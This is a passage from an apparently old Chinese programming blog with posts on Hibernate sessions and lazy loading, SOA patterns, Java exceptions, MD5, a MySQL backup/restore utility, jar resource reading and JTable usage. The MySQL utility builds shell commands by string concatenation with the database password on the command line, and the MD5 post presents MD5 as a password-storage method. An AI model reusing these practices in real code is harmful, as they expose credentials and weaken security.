  5. import org.hibernate.SQLQuery;
  6. import org.hibernate.Session;
  7. import org.hibernate.SessionFactory;
  8. import org.hibernate.Transaction;
  9. import org.hibernate.cfg.Configuration;
  10. public final class SessionManager {
  11. private Configuration config;
  12. private SessionFactory sessionFactory;
  13. private Session session;
  14. public Criteria createCriteria(Class persistentClass) {
  15.   return session.createCriteria(persistentClass);
  16. }
  17. private void buildSession() {
  18.    sessionFactory = config.buildSessionFactory();
  19.    session = sessionFactory.openSession();
  20. }
  21. public SessionManager(String configFile) {
  22.    config = new Configuration().configure(configFile);
  23.    buildSession();
  24. }
  25. public Session getSession() {
  26.   return session;
  27. }
  28. public void save(Object obj) {
  29.    Transaction tx = session.beginTransaction();
  30.    session.save(obj);
  31.    tx.commit();
  32. }
  33. public Object load(Class clas, Integer priId) {
  34.   return session.get(clas, priId);
  35. }
  36. public Query findbyhql(String hql) {
  37.   return session.createQuery(hql);
  38. }
  39. public List pageSizeByhql(String hql) {
  40.   return findbyhql(hql).list();
  41. }
  42. public SQLQuery findbysql(String sql) {
  43.   return session.createSQLQuery(sql);
  44. }
  45. public void update(Object obj) {
  46.    Transaction tx = session.beginTransaction();
  47.    session.saveOrUpdate(obj);
  48.    tx.commit();
  49. }
  50. public void delete(Class clas, Integer inte) {
  51.    session.delete(load(clas, inte));
  52. }
  53. public void delete(Object obj) {
  54.    session.delete(obj);
  55. }
  56. public void deletebyhql(String hql) {
  57.    Query query = session.createQuery(hql);
  58.    query.executeUpdate();
  59. }
  60. public Query createQuery(String hql) {
  61.   return session.createQuery(hql);
  62. }
  63. }

Hibernate访问多个数据库步骤三:测试类

  1. package org.jskyme.data.test;
  2. import junit.framework.TestCase;
  3. import org.hibernate.Query;
  4. import org.jskyme.hibernate.util.DataBaseManager;
  5. import org.jskyme.hibernate.util.SessionManager;
  6. public class DataBaseManagerTest extends TestCase {
  7. DataBaseManager dbm = DataBaseManager.getInst();
  8. public void testDatabase() {
  9.    setDatabase();
  10.    SessionManager tempSess = dbm.get("dataLocal");
  11.    Query query = tempSess.createQuery("from   Shop");
  12.    query.list();
  13.   
  14.    SessionManager tempSess27 = dbm.get("dateManage");
  15.    Query query27 = tempSess27.createQuery("from Shop");
  16.    query27.list();
  17. }
  18. private void setDatabase() {
  19.    SessionManager dateManageLocal = new SessionManager("localhost.cfg.xml");
  20.    SessionManager dateManage27 = new SessionManager("data_server.cfg.xml");
  21.    dbm.put("dateManage", dateManage27);
  22.    dbm.put("dataLocal", dateManageLocal);
  23. }
  24. }
posted @ 2009-07-03 13:51 jadmin 阅读(63) | 评论 (0)编辑 收藏

Hibernate延时加载,其实这个异常写的非常之清楚,就是会话关闭,无法对Hibernate实体进行操作。造成这样的情况有很多,什么书写错误啊,逻辑错误啊。

但就此说一下关于lazy机制:

Hibernate延时加载包括延迟初始化错误,这是运用Hibernate开发项目时最常见的错误。如果对一个类或者集合配置了延迟检索策略,那么必须当代理类实例或代理集合处于持久化状态(即处于Session范围内)时,才能初始化它。如果在游离状态时才初始化它,就会产生延迟初始化错误。

下面把Customer.hbm.xml文件的< class>元素的lazy属性设为true,表示使用延迟检索策略:

  1. < class name="mypack.Customer" table="CUSTOMERS" lazy="true">  

当执行Session的load()方法时,Hibernate不会立即执行查询CUSTOMERS表的select语句,仅仅返回Customer类的代理类的实例,这个代理类具由以下特征:

(1) 由Hibernate在运行时动态生成,它扩展了Customer类,因此它继承了Customer类的所有属性和方法,但它的实现对于应用程序是透明的。

(2) 当Hibernate创建Customer代理类实例时,仅仅初始化了它的OID属性,其他属性都为null,因此这个代理类实例占用的内存很少。

(3)当应用程序第一次访问Customer代理类实例时(例如调用customer.getXXX()或customer.setXXX ()方法), Hibernate会初始化代理类实例,在初始化过程中执行select语句,真正从数据库中加载Customer对象的所有数据。但有个例外,那就是当 应用程序访问Customer代理类实例的getId()方法时,Hibernate不会初始化代理类实例,因为在创建代理类实例时OID就存在了,不必 到数据库中去查询。

提示:Hibernate采用CGLIB工具来生成持久化类的代理类。CGLIB是一个功能强大的Java字节码生成工具,它能够在程序运行时动态生成扩 展 Java类或者实现Java接口的代理类。

以下代码先通过Session的load()方法加载Customer对象,然后访问它的name属性:

  1. tx = session.beginTransaction();
  2. Customer customer=(Customer)session.load(Customer.class,new Long(1));
  3. customer.getName();
  4. tx.commit();  

在运行session.load ()方 法时Hibernate不执行任何select语句,仅仅返回Customer类的代理类的实例,它的OID为1,这是由load()方法的第二个 参数指定的。当应用程序调用customer.getName()方法时,Hibernate会初始化Customer代理类实例,从数据库中加载 Customer对象的数据,执行以下select语句:

  1. select * from CUSTOMERS where ID=1;
  2. select * from ORDERS where CUSTOMER_ID=1;  

当< class>元素的lazy属性为true,会影响Session的load()方法的各种运行时行为,下面举例说明。

1.如果加载的Customer对象在数据库中不存在,Session的load()方法不会抛出异常,只有当运行customer.getName()方法时才会抛出以下异常:

  1. ERROR LazyInitializer:63 - Exception initializing proxy
  2. net.sf.hibernate.ObjectNotFoundException: No row with the given identifier exists: 1, of class:
  3. mypack.Customer  

2.如果在整个Session范围内,应用程序没有访问过Customer对象,那么Customer代理类的实例一直不会被初始化,Hibernate不会执行任何select语句。以下代码试图在关闭Session后访问Customer游离对象:

  1. tx = session.beginTransaction();
  2. Customer customer=(Customer)session.load(Customer.class,new Long(1));
  3. tx.commit();
  4. session.close();
  5. customer.getName();  

由于引用变量customer引用的Customer代理类的实例在Session范围内始终没有被初始化,因此在执行customer.getName()方法时,Hibernate会抛出以下异常(Hibernate延时加载的问题之一):

  1. ERROR LazyInitializer:63 - Exception initializing proxy
  2. net.sf.hibernate.HibernateException: Couldnotinitializeproxy-theowningSessionwasclosed  

由此可见,Customer代理类的实例只有在当前Session范围内才能被初始化。

3.net.sf.hibernate.Hibernate类的initialize()静态方法用于在Session范围内显式初始化代理类实例,isInitialized()方法用于判断代理类实例是否已经被初始化。例如:

  1. tx = session.beginTransaction();
  2. Customer customer=(Customer)session.load(Customer.class,new Long(1));
  3. if(!Hibernate.isInitialized(customer))
  4. Hibernate.initialize(customer);
  5. tx.commit();
  6. session.close();
  7. customer.getName();  

以上代码在Session范围内通过Hibernate类的initialize()方法显式初始化了Customer代理类实例,因此当Session关闭后,可以正常访问Customer游离对象。

4.当应用程序访问代理类实例的getId()方法时,不会触发Hibernate初始化代理类实例的行为,例如:

  1. tx = session.beginTransaction();
  2. Customer customer=(Customer)session.load(Customer.class,new Long(1));
  3. customer.getId();
  4. tx.commit();
  5. session.close();
  6. customer.getName();  

当应用程序访问customer.getId()方法时,该方法直接返回Customer代理类实例的OID值,无需查询数据库。由于引用变量 customer始终引用的是没有被初始化的Customer代理类实例,因此当Session关闭后再执行customer.getName()方法, Hibernate会抛出以下异常(Hibernate延时加载的问题之一):

  1. ERROR LazyInitializer:63 - Exception initializing proxy
  2. net.sf.hibernate.HibernateException: Couldnotinitializeproxy-theowningSessionwasclosed  

解决方法:

由于hibernate采用了lazy=true,这样当你用hibernate查询时,返回实际为利用cglib增强的代理类,但其并没有实际填 充;当你在前端,利用它来取值(getXXX)时,这时Hibernate才会到数据库执行查询,并填充对象,但此时如果和这个代理类相关的session已关闭掉,就会产生种错误.

在做一对多时,有时会出现"could not initialize proxy - clothe owning Session was sed,这个好像是hibernate的缓存问题.问题解决:需要在< many-to-one>里设置lazy="false". 但有可能会引发另一个异常叫

  1. failed to lazily initialize a collection of role: XXXXXXXX, no session or session was closed  

解决方法:在web.xml中加入

  1. < filter>
  2.     < filter-name>hibernateFilter< /filter-name>
  3.     < filter-class>
  4.       org.springframework.orm.hibernate3.support.OpenSessionInViewFilter
  5.     < /filter-class>
  6. < /filter>
  7. < filter-mapping>
  8.     < filter-name>hibernateFilter< /filter-name>
  9.     < url-pattern>*.do< /url-pattern>
  10. < /filter-mapping>

就可以了。

以上文章转自:http://developer.51cto.com/art/200907/133249.htm

关键字:Hibernate,延时加载,lazy

posted @ 2009-07-03 13:39 jadmin 阅读(55) | 评论 (0)编辑 收藏
众所周知,设计模式描述的就是针对软件设计中的常见问题做出的可重复使用的解决方案。而了解及使用这些模式则是SOA取得成功的根本。
企业软件热点文章
Windows 7与Vista价格对比 微软大幅延长Windows 7 降级XP期限
Windows 7完整公开发售路线图 微软推Windows 7选择升级计划 VAIO率先响应
微软称Windows 7限期打折 预定只须50美元 Windows 7免费升级计划截至2010年1月31日
欧洲用户不能升级Windows 7 只能全新安装 消息称Windows 7中国零售价最低399元起

众所周知,设计模式描述的就是针对软件设计中的常见问题做出的可重复使用的解决方案。而了解及使用这些模式则是SOA取得成功的根本。下面是Gartner公司的分析师们通过分析得出的五种新兴SOA设计模式:

1. 多通道应用

2. 复合应用

3. 业务流程编排

4. 面向服务的企业

5. 联邦SOA

多通道应用

用SOA实现多通道应用真是再合适不过。这种模式能将后端业务逻辑与前端逻辑分离,通过各个通道在最短的时间内将全部的应用功能提交到最大数量的用户手上,并能重复使用同一服务。

战略远景:2008年,将有超过66%的新开发的中到大型交互式应用软件是支持多通道访问的,而2007年这一数据尚不及33%。

复合应用

在复合应用中使用的服务可能是新部署的服务、经过调整和封装的旧应用组件、或者是以上两者的组合。在组合SOA环境中,有两种集成技术是使系统有效运行的关键:1)帮助用户封装并接受各种初始SOA应用的服务接口底层的集成技术;和2)帮助用户组装并监控服务操作的集成技术。

战略远景:到2012年,大部分SOA应用软件将是交互式的复合应用。

业务流程编排

业务流程管理(BPM)软件包是用来实现基于SOA的多步处理过程的工具。BPEL标准经常被用来描述所设计的元数据流模型。元数据库(meta-database)是用来在运行时管理这些业务过程模型的行为的。这些过程中的部分步骤是通过调用SOA服务实现的。其它的步骤则需要人为的干预。

战略远景:到2009年,有超过75%的SOA应用将通过外部BPM技术实现一部分与服务部署无关的顺序控制。

面向服务的企业

基于SOA的企业模型离复合应用只有一步之遥。在这里,所有的应用程序都被看作是整体的一个组成部分。没有任何新应用程序是独立创建的。所有的应用程序都是以可重用的组件为基础构建的,它们不但可以实现预期的功能,也可以在其它环境下被不同的客户端使用。从本质上说,综合式的复合企业所拥有的已不是应用程序,而是业务组件——每一个组件都是企业的资产。

战略远景:到2010年,超过85%的企业会把应用集成视为与SOA管理工具和组织同样的企业组件。

联邦SOA

联邦SOA的基本概念就是采用合理的程序将企业分解为半独立的SOA领域(比如,以子公司、业务单元或部门来表示企业组织),每个领域都有其独自特有的SOA基础设施、治理过程和SOA卓越中心。然后各领域通过合适的互用性基础设施、治理过程和组织方式形成联邦(即以联合的方式实现领域内的服务共享,这是通常的方式,但不是必须的方式)。“SOA联邦”即是通过适当的技术、治理和组织方式形成联邦式SOA的过程。

战略远景:很少有大型组织有能力独自做出整个IT的宏伟蓝图。最好的实践还是支持领域的独立性并允许使用不同的技术与架构以换取互操作性协议与传输的同步。合并与收购很显然就是联邦SOA的一种方式。

posted @ 2009-06-28 13:25 jadmin 阅读(59) | 评论 (0)编辑 收藏
  许多种类的错误将触发异常,这些问题从像硬盘(crash)坠毁这样的严重硬件错误,到尝试访问越界数组元素这样的简单程序错误,像这样的错误如果在java函数中发生,函数将创建一个异常对象并把他抛出到运行时系统(runtimesystem)。

  许多种类的错误将触发异常,这些问题从像硬盘(crash)坠毁这样的严重硬件错误,到尝试访问越界数组元素这样的简单程序错误,像这样的错误如果在java函数中发生,函数将创建一个异常对象并把他抛出到运行时系统(runtimesystem)。异常对象包含异常的信息,包括异常的类型,异常发生时程序的状态。运行时系统则有责任找到一些代码处理这个错误。在java技术词典中,创建一个异常对象并把它抛给运行时系统叫做:抛出异常(throwinganexception)。

  当某个函数抛出一个异常后,运行时系统跳入了这样一个动作,就是找到一些人(译者注:其实是代码)来处理这个异常。要找的处理异常的可能的人(代码)的集合(set)是:在发生异常的方法的调用堆栈(callstack)中的方法的集合(set)。运行时系统向后搜寻调用堆栈,从错误发生的函数,一直到找到一个包括合适的异常处理器(exceptionhandler)的函数。一个异常处理器是否合适取决于抛出的异常是否和异常处理器处理的异常是同一种类型。因而异常向后寻找整个调用堆栈,直到一个合格的异常处理器被找到,调用函数处理这个异常。异常处理器的选择被叫做:捕获异常(catchtheexception)。

  如果运行时系统搜寻整个调用堆栈都没有找到合适的异常处理器,运行时系统将结束,随之java程序也将结束。

  使用异常来管理错误,比传统的错误管理技术有如下优势:

  1. 将错误处理代码于正常的代码分开。

  2. 沿着调用堆栈向上传递错误。

  3. 将错误分作,并区分错误类型。

  1. 将错误处理代码于正常的代码分开。

  在传统的程序种,错误侦测,报告,和处理,经常导致令人迷惑的意大利面条式(spaghetti)的代码。例如,假设你要写一个将这个文件读到内存种的函数,用伪代码描述,你的函数应该是这个样子的:

  readFile

  open the file; //打开文件

  determine its size; //取得文件的大小

  allocate that much memory; //分配内存

  read the file into memory; //读文件内容到内存中

  close the file; //关闭文件

  匆匆一看,这个版本是足够的简单,但是它忽略了所有潜在的问题:

  n 文件不能打开将发生什么?

  n 文件大小不能取得将发生什么?

  n 没有足够的内存分配将发生什么?

  n 读取失败将发生什么?

  n 文件不能关闭将发生什么?

  为了在read_file函数中回答这些错误,你不得不加大量的代码进行错误侦测,报告和处理,你的函数最后将看起来像这个样子:

  errorCodeType readFile

  initialize errorCode = 0;

  open the file;

  if (theFileIsOpen)

  determine the length of the file;

  if (gotTheFileLength)

  allocate that much memory;

  if (gotEnoughMemory)

  read the file into memory;

  if (readFailed)

  errorCode = -1;

  else

  errorCode = -2;

  else

  errorCode = -3;

  close the file;

  if (theFileDidntClose && errorCode 0)

  errorCode = -4;

  else

  errorCode = errorCode and -4;

  else

  errorCode = -5;

  return errorCode;

  随着错误侦测的建立,你的最初的7行代码(粗体)已经迅速的膨胀到了29行-几乎400%的膨胀率。更糟糕的是有这样的错误侦测,报告和错误返回值,使得最初有意义的7行代码淹没在混乱之中,代码的逻辑流程也被淹没。很难回答代码是否做的正确的事情:如果函数分配内容失败,文件真的将被关闭吗?更难确定当你在三个月后再次修改代码,它是否还能够正确的执行。许多程序员“解决”这个问题的方法是简单的忽略它,那样错误将以死机来报告自己。

  对于错误管理,Java提供一种优雅的解决方案:异常。异常可以使你代码中的主流程和处理异常情况的代码分开。如果你用异常代替传统的错误管理技术,readFile函数将像这个样子:

  readFile

  try

  open the file;

  determine its size;

  allocate that much memory;

  read the file into memory;

  close the file;

  catch (fileOpenFailed)

  doSomething;

  catch (sizeDeterminationFailed)

  doSomething;

  catch (memoryAllocationFailed)

  doSomething;

  catch (readFailed)

  doSomething;

  catch (fileCloseFailed)

  doSomething;

  注意:异常并不能节省你侦测,报告和处理错误的努力。异常提供给你的是:当一些不正常的事情发生时,将所有蹩脚(grungy)的细节,从你的程序主逻辑流程中分开。

  另外,异常错误管理的膨胀系数大概是250%,比传统的错误处理技术的400%少的多。

tags:异常

posted @ 2009-06-25 23:45 jadmin 阅读(66) | 评论 (0)编辑 收藏

       MD5的全称是Message-Digest Algorithm 5,在90年代初由MIT的计算机科学实验室和RSA Data Security Inc发明,经MD2、MD3和MD4发展而来。

       Message-Digest泛指字节串(Message)的Hash变换,就是把一个任意长度的字节串变换成一定长的大整数。请注意我使用了“字节串”而不是“字符串”这个词,是因为这种变换只与字节的值有关,与字符集或编码方式无关。

       MD5将任意长度的“字节串”变换成一个128bit的大整数,并且它是一个不可逆的字符串变换算法,换句话说就是,即使你看到源程序和算法描述,也无法将一个MD5的值变换回原始的字符串,从数学原理上说,是因为原始的字符串有无穷多个,这有点象不存在反函数的数学函数。

       MD5的典型应用是对一段Message(字节串)产生fingerprint(指纹),以防止被“篡改”。举个例子,你将一段话写在一个叫 readme.txt文件中,并对这个readme.txt产生一个MD5的值并记录在案,然后你可以传播这个文件给别人,别人如果修改了文件中的任何内容,你对这个文件重新计算MD5时就会发现(两个MD5值不相同)。如果再有一个第三方的认证机构,用MD5还可以防止文件作者的“抵赖”,这就是所谓的数字签名应用。

       MD5还广泛用于加密和解密技术上,在很多操作系统中,用户的密码是以MD5值(或类似的其它算法)的方式保存的, 用户Login的时候,系统是把用户输入的密码计算成MD5值,然后再去和系统中保存的MD5值进行比较,而系统并不“知道”用户的密码是什么。

       关键词:MD5,MD5算法,文件的MD5值,文件 | 曦勤,[风故故,也依依], 博客,百度,IT

posted @ 2009-05-28 19:45 jadmin 阅读(102) | 评论 (0)编辑 收藏

代码如下:

/*
* @(#)DatabaseBackup.java Apr 23, 2009
*
* Copyright (c) 2009 by jadmin. All Rights Reserved.
*/

package util.dbak;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.io.UnsupportedEncodingException;

/**
* MySQL数据库的备份与恢复
* 缺陷:可能会被杀毒软件拦截
*
* @author <a href="mailto:jadmin@163.com">jadmin</a>
* @version $Revision: 1.0 Apr 23, 2009 11:44:00 PM $
*/
public class DatabaseBackup {

/** MySQL安装目录的Bin目录的绝对路径 */
private String mysqlBinPath;

/** 访问MySQL数据库的用户名 */
private String username;

/** 访问MySQL数据库的密码 */
private String password;

public String getMysqlBinPath() {
   return mysqlBinPath;
}

public void setMysqlBinPath(String mysqlBinPath) {
   this.mysqlBinPath = mysqlBinPath;
}

public String getUsername() {
   return username;
}

public void setUsername(String username) {
   this.username = username;
}

public String getPassword() {
   return password;
}

public void setPassword(String password) {
   this.password = password;
}

public DatabaseBackup() {
   super();
}

public DatabaseBackup(String mysqlBinPath, String username, String password) {
   super();
   if (!mysqlBinPath.endsWith(File.separator)) {
    mysqlBinPath = mysqlBinPath + File.separator;
   }
   this.mysqlBinPath = mysqlBinPath;
   this.username = username;
   this.password = password;
}

/**
* 备份数据库
*
* @param output 输出流
* @param dbname 要备份的数据库名
*/
public void backup(OutputStream output, String dbname) {
   String command = "cmd /c " + mysqlBinPath + "mysqldump -u" + username + " -p" + password + " --set-charset=utf8 "
     + dbname;
   System.out.println(command);
   PrintWriter p = null;
   BufferedReader reader = null;
   try {
    p = new PrintWriter(new OutputStreamWriter(output, "utf8"));
    Process process = Runtime.getRuntime().exec(command);
    InputStreamReader inputStreamReader = new InputStreamReader(process.getInputStream(), "utf8");
    reader = new BufferedReader(inputStreamReader);
    String line = null;
    while ((line = reader.readLine()) != null) {
     p.println(line);
    }
    p.flush();
   } catch (UnsupportedEncodingException e) {
    e.printStackTrace();
   } catch (IOException e) {
    e.printStackTrace();
   } finally {
    try {
     if (reader != null) {
      reader.close();
     }
     if (p != null) {
      p.close();
     }
    } catch (IOException e) {
     e.printStackTrace();
    }
   }
}

/**
* 备份数据库,如果指定路径的文件不存在会自动生成
*
* @param dest 备份文件的路径
* @param dbname 要备份的数据库
*/
public void backup(String dest, String dbname) {
   try {
    OutputStream out = new FileOutputStream(dest);
    backup(out, dbname);
   } catch (FileNotFoundException e) {
    e.printStackTrace();
   }
}

/**
* 恢复数据库
*
* @param input 输入流
* @param dbname 数据库名
*/
public void restore(InputStream input, String dbname) {
   String command = "cmd /c " + mysqlBinPath + "mysql -u" + username + " -p" + password + " " + dbname;
   try {
    Process process = Runtime.getRuntime().exec(command);
    OutputStream out = process.getOutputStream();
    String line = null;
    String outStr = null;
    StringBuffer sb = new StringBuffer("");
    BufferedReader br = new BufferedReader(new InputStreamReader(input, "utf8"));
    while ((line = br.readLine()) != null) {
     sb.append(line + "\r\n");
    }
    outStr = sb.toString();

    OutputStreamWriter writer = new OutputStreamWriter(out, "utf8");
    writer.write(outStr);
    writer.flush();
    out.close();
    br.close();
    writer.close();
   } catch (UnsupportedEncodingException e) {
    e.printStackTrace();
   } catch (IOException e) {
    e.printStackTrace();
   }

}

/**
* 恢复数据库
*
* @param dest 备份文件的路径
* @param dbname 数据库名
*/
public void restore(String dest, String dbname) {
   try {
    InputStream input = new FileInputStream(dest);
    restore(input, dbname);
   } catch (FileNotFoundException e) {
    e.printStackTrace();
   }
}

public static void main(String[] args) {
   DatabaseBackup bak = new DatabaseBackup("C:/MySQL/UTF8/bin", "root", "root");
   bak.restore("c:/t.sql", "ttk");
}
}

tags:java,mysql,database,数据库,备份,恢复,mysql命令

posted @ 2009-04-24 22:55 jadmin 阅读(78) | 评论 (0)编辑 收藏

在实际项目中,经常会遇到这样的问题:想得到某个目录下的所有具有特定扩展名文件的文件名集合

解决方法:

1.定义自己的文件名过滤器类,这个类必须实现java.io.FilenameFilter接口

2.调用


下面是我的一个例子,目标:得到目录Constans.SCRIPT_DIR下所有扩展名为".sql"的文件的文件名集合

1.实现自己的文件名过滤类

/**
* 脚本文件过滤器
*
* @author <a href="mailto:jadmin@126.com">jadmin</a>
*/
public class ScriptFilenameFilter implements FilenameFilter {

private String suffix;

public ScriptFilenameFilter(String suffix) {
   this.suffix = suffix;
}

public boolean accept(File dir, String name) {
   if(name.endsWith(suffix)) {
    return true;
   }
   return false;
}

}


2.调用

String[] names = new java.io.File(Constans.SCRIPT_DIR).list(new ScriptFilenameFilter(".sql"));

这样就得到了一个文件名数组,注:Constans.SCRIPT_DIR是【目录】常量串

posted @ 2009-01-16 21:56 jadmin 阅读(86) | 评论 (0)编辑 收藏

使用笔记本,避免不了经常变换IP,如果是手动去每次都设置,太烦人了,下面推荐一款实用的绿色IP切换工具IPWhiz,使用起来非常方便,下面是截图:

PS:之前一直使用的是ASUS的公用程序Net4Switch,其实这一款也是很好用的IP切换工具,只不过我的瑞星更新到2009版后Net4Switch就出问题了,可能是软件之间冲突了吧...

posted @ 2008-12-30 20:38 jadmin 阅读(55) | 评论 (0)编辑 收藏

kk.jar的目录结构如下

+kk.jar
    +META-INF
        MANIFEST.MF
    +config
        database.properties

目标:读取database.properties中的参数信息

types=mysql
mysql.url=jdbc:mysql://127.0.0.1:3306/tjtz
mysql.user=root
mysql.password=root
mysql.driver=com.mysql.jdbc.Driver
mysql.maxCounts=5

代码如下:

/*
* @(#)JarFileReader.java Oct 9, 2008
*
* Copyright (c) 2008 by jadmin. All Rights Reserved.
*/

package file.jar;

import java.io.IOException;
import java.io.InputStream;
import java.util.Properties;
import java.util.Set;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;

/**
* 从jar包中读取配置文件信息
*
* @author <a href="mailto:jadmin@yeah.net">jadmin</a>
* @version 1.00 Oct 9, 2008 1:10:44 AM
*/
public class JarReader {

public static void main(String[] args) {
   String jarPath = "C:\\Documents and Settings\\Administrator\\桌面\\新建文件夹\\kk.jar";
   String entryFile = "config/database.properties";
   doRead(jarPath,entryFile);
}

public static void doRead(String jarPath, String entryFile) {
   try {
    JarFile jarFile = new JarFile(jarPath);
    JarEntry entry = jarFile.getJarEntry(entryFile);
    InputStream input = jarFile.getInputStream(entry);
    process(input);
    jarFile.close();
   } catch (IOException e) {
    e.printStackTrace();
   }
}

private static void process(InputStream input) {
   Properties p = new Properties();
   try {
    p.load(input);
    Set<?> set = p.keySet();
    for (Object name : set)
     System.out.println(name + "=" + p.getProperty((String) name));
   } catch (IOException e) {
    e.printStackTrace();
   }
}
}

运行结果如下:

posted @ 2008-10-09 01:49 jadmin 阅读(1730) | 评论 (0)编辑 收藏

  1.清浊并吞:水在流动时不管清水、浊水皆能加以并合,由此松下幸之助领悟出人或企业在成长、学习的过程中应去面对各种可能的挑战,而非去等待好的时机。因为,如果 任何事情皆要挑好天气、好机会、好环境的话,那终将只能留在原地,毫无机会。所以, “清浊并吞”即是告诉我们在任何环境下,皆需让自己有勇气下决心开始去学习,开始去做,就如同经济有景气、有不景气,人生亦本就有起有伏,重要的是当下的即知即行,而非等待和观望。


  2.随方亦圆:水在任何容器中皆可依容器之形状而呈现出不同形状的风貌,不管我们如何的摆弄它,它永远能展现出其最好的一面,人在学习、成长的环境中亦同,处逆境时应下更大的决心,处顺境时应更谦虚的学习,就像水的这种精神,在不同的环境中要能去适应环境、调适自己,去学习不同的东西和感受,给自己的人生或企业的未来下一个目标,然后去做它,不能自我设限,自我定型,而是不管在什幺情形下,皆能去适应它、去调适、去面对它、去克服这些环境,那终将有一番不同的成就。


  3.上波下静:水在表面上虽是波浪起伏,但在水面下却是平静无波的。松下幸之助由此领悟出,事业就是要做扎根的工作,根扎得稳,事业才会稳固,事业若建构于沙滩之上,则波浪一来必毁于瞬间。因此,人或企业应学习水的这种精神,努力的去做扎根的工作,怀着单一的思想,专注、持续的去学习、去做,一定会有所体会和成就,否则,随波逐流,没有定位,在三心二意与三分钟热度的情况下,终将一事无成。


  4.变化无穷:水存在着各种不同的型态,例如以水、水蒸气、雨水,冰块等不同的方式存在着,它在不同情况下会有不同的转化。松下幸之助又领悟出,做事业亦同,市场上的 变化无穷尽,遇到的人亦是形形色色的。但我们想想,为什幺有些事业做得那幺成功,有些人亦是那么成功?!成功的抉择到底何在呢?关键在于自己。因为,市场和人生乃是变化无穷的,需要有弹性去适应,就如同人在雨天时就应撑伞 ,企业在低潮、不景气时,就应调整策略,而非一成不变,僵化无以应变。事实上,人总是喜欢趋吉避凶,但奇怪的是却又喜欢听消极的事,因此,人的思想,企业文化乃是在面对变化无穷的环境时,能否成功的关键,挑战一定是有的,因难也一定是有的,但是成功的定律却是不变的,如何识人,如何保持弹性便是在面对各种状况时所应具备的。


  5.渗透扩散:水具有渗透、扩散的能力,这是许多东西所无法办到的能力。人生的成长、学习过程亦应像水一样,目标要不断的提升和提高,才能让自己有更多的收获;就如同水一样,泼到地上便马上让干的地面逐渐地变成湿的地面,不断的渗透、扩散。而设定目标的式是目标须较自己的能力高一些,方能不断自我挑战和成长。因为如果你有登峰攀顶的能力,为何要把目光停留在半山腰呢?


  6.久储必臭:水静置放着,一段时日后自然会发臭。松下幸之助体会到他经营这幺大的事业,如果没有让自己再去学习、成长,那幺一定会落伍,所以须学习水一样不断的去流动,而非静止在那边。故学习是无止境的,惟有不断的去学习、去努力,才有未来可言;对任一个想要成功的人或企业皆是如此,如果连松下幸之助这样的经营神都有这样的体会,那我们更应该努力的去学习。毕竟,人生或事业乃是不进则退的,因此须让自己像水一样,不断的去流动才会有量,才不致“久储臭”。


  7.急流澄清:水流很快的地方,水一定特别干净;就如同瀑布之头,因水流湍急,所以水一定是澄清的。松下幸之助亦因此体会到人生的成长不能像小的水流一样慢慢地流,他说慢慢的流虽不致发臭,但却不会澄澈,须像急流一样,水的力量大,又会清淯。因此在人生、事业的成长上要给自己压力,就如同急流而下的高速水流产生强大的力量一般,惟有透过自我要求,方能产生完成目标的力量。


  8.生存至宝:人若缺水则必无法生存,所以水是生存至宝。同样地,我们在自己的人生中,亦是扮演着很重要的角色;我们每一个人都是造物主最大的奇迹,因为在世界上,我们每一个人都是独一无二的,是没有任何人可以取代的。因此,我们自己须下最大的决心,对于自己的人生和目标有时间、计划性的努力,则必会完成自己的人生,成就一生的事业

posted @ 2008-09-19 22:09 jadmin 阅读(51) | 评论 (0)编辑 收藏

JTable是Swing编程中很常用的控件,这里总结了一些常用方法以备查阅.

一.创建表格控件的各种方式:
1) 调用无参构造函数.
JTable table = new JTable();
2) 以表头和表数据创建表格.
Object[][] cellData = {{"row1-col1", "row1-col2"},{"row2-col1", "row2-col2"}};
String[] columnNames = {"col1", "col2"};
   
JTable table = new JTable(cellData, columnNames);
3) 以表头和表数据创建表格,并且让表单元格不可改.
String[] headers = { "表头一", "表头二", "表头三" };
Object[][] cellData = null;

DefaultTableModel model = new DefaultTableModel(cellData, headers) {

public boolean isCellEditable(int row, int column) {
    return false;
}
};

table = new JTable(model);
二.对表格列的控制
1) 设置列不可随容器组件大小变化自动调整宽度.
table.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
2) 限制某列的宽度.
TableColumn firsetColumn = table.getColumnModel().getColumn(0);
firsetColumn.setPreferredWidth(30);
firsetColumn.setMaxWidth(30);
firsetColumn.setMinWidth(30);
3) 设置当前列数.
DefaultTableModel tableModel = (DefaultTableModel) table.getModel();
int count=5;
tableModel.setColumnCount(count);
4) 取得表格列数
int cols = table.getColumnCount();
5) 添加列
DefaultTableModel tableModel = (DefaultTableModel) table.getModel();
tableModel.addColumn("新列名");
6) 删除列
table.removeColumn(table.getColumnModel().getColumn(columnIndex));// columnIndex是要删除的列序号
三.对表格行的控制
1) 设置行高
table.setRowHeight(20);
2) 设置当前航数
DefaultTableModel tableModel = (DefaultTableModel) table.getModel();
int n=5;
tableModel.setRowCount(n);
3) 取得表格行数
int rows = table.getRowCount();

4) 添加表格行
DefaultTableModel tableModel = (DefaultTableModel) table.getModel();
tableModel.addRow(new Object[]{"sitinspring", "35", "Boss"});
5) 删除表格行
DefaultTableModel tableModel = (DefaultTableModel) table.getModel();
model.removeRow(rowIndex);// rowIndex是要删除的行序号
四.存取表格单元格的数据
1) 取单元格数据
DefaultTableModel tableModel = (DefaultTableModel) table.getModel();
String cellValue=(String) tableModel.getValueAt(row, column);// 取单元格数据,row是行号,column是列号
2) 填充数据到表格.
注:数据是Member类型的链表,Member类如下:
public class Member{
    // 名称
    private String name;
   
    // 年龄
    private String age;
   
    // 职务
    private String title;
}
填充数据的代码:
public void fillTable(List<Member> members){
DefaultTableModel tableModel = (DefaultTableModel) table
.getModel();
tableModel.setRowCount(0);// 清除原有行

// 填充数据
for(Member member:members){
    String[] arr=new String[3];
    arr[0]=member.getName();
    arr[1]=member.getAge();
    arr[2]=member.getTitle();
   
    // 添加数据到表格
    tableModel.addRow(arr);
}

// 更新表格
table.invalidate();
}
2) 取得表格中的数据
public List<Member> getShowMembers(){
List<Member> members=new ArrayList<Member>();

DefaultTableModel tableModel = (DefaultTableModel) table
.getModel();

int rowCount=tableModel.getRowCount();

for(int i=0;i<rowCount;i++){
    Member member=new Member();
   
    member.setName((String)tableModel.getValueAt(i, 0));// 取得第i行第一列的数据
    member.setAge((String)tableModel.getValueAt(i, 1));// 取得第i行第二列的数据
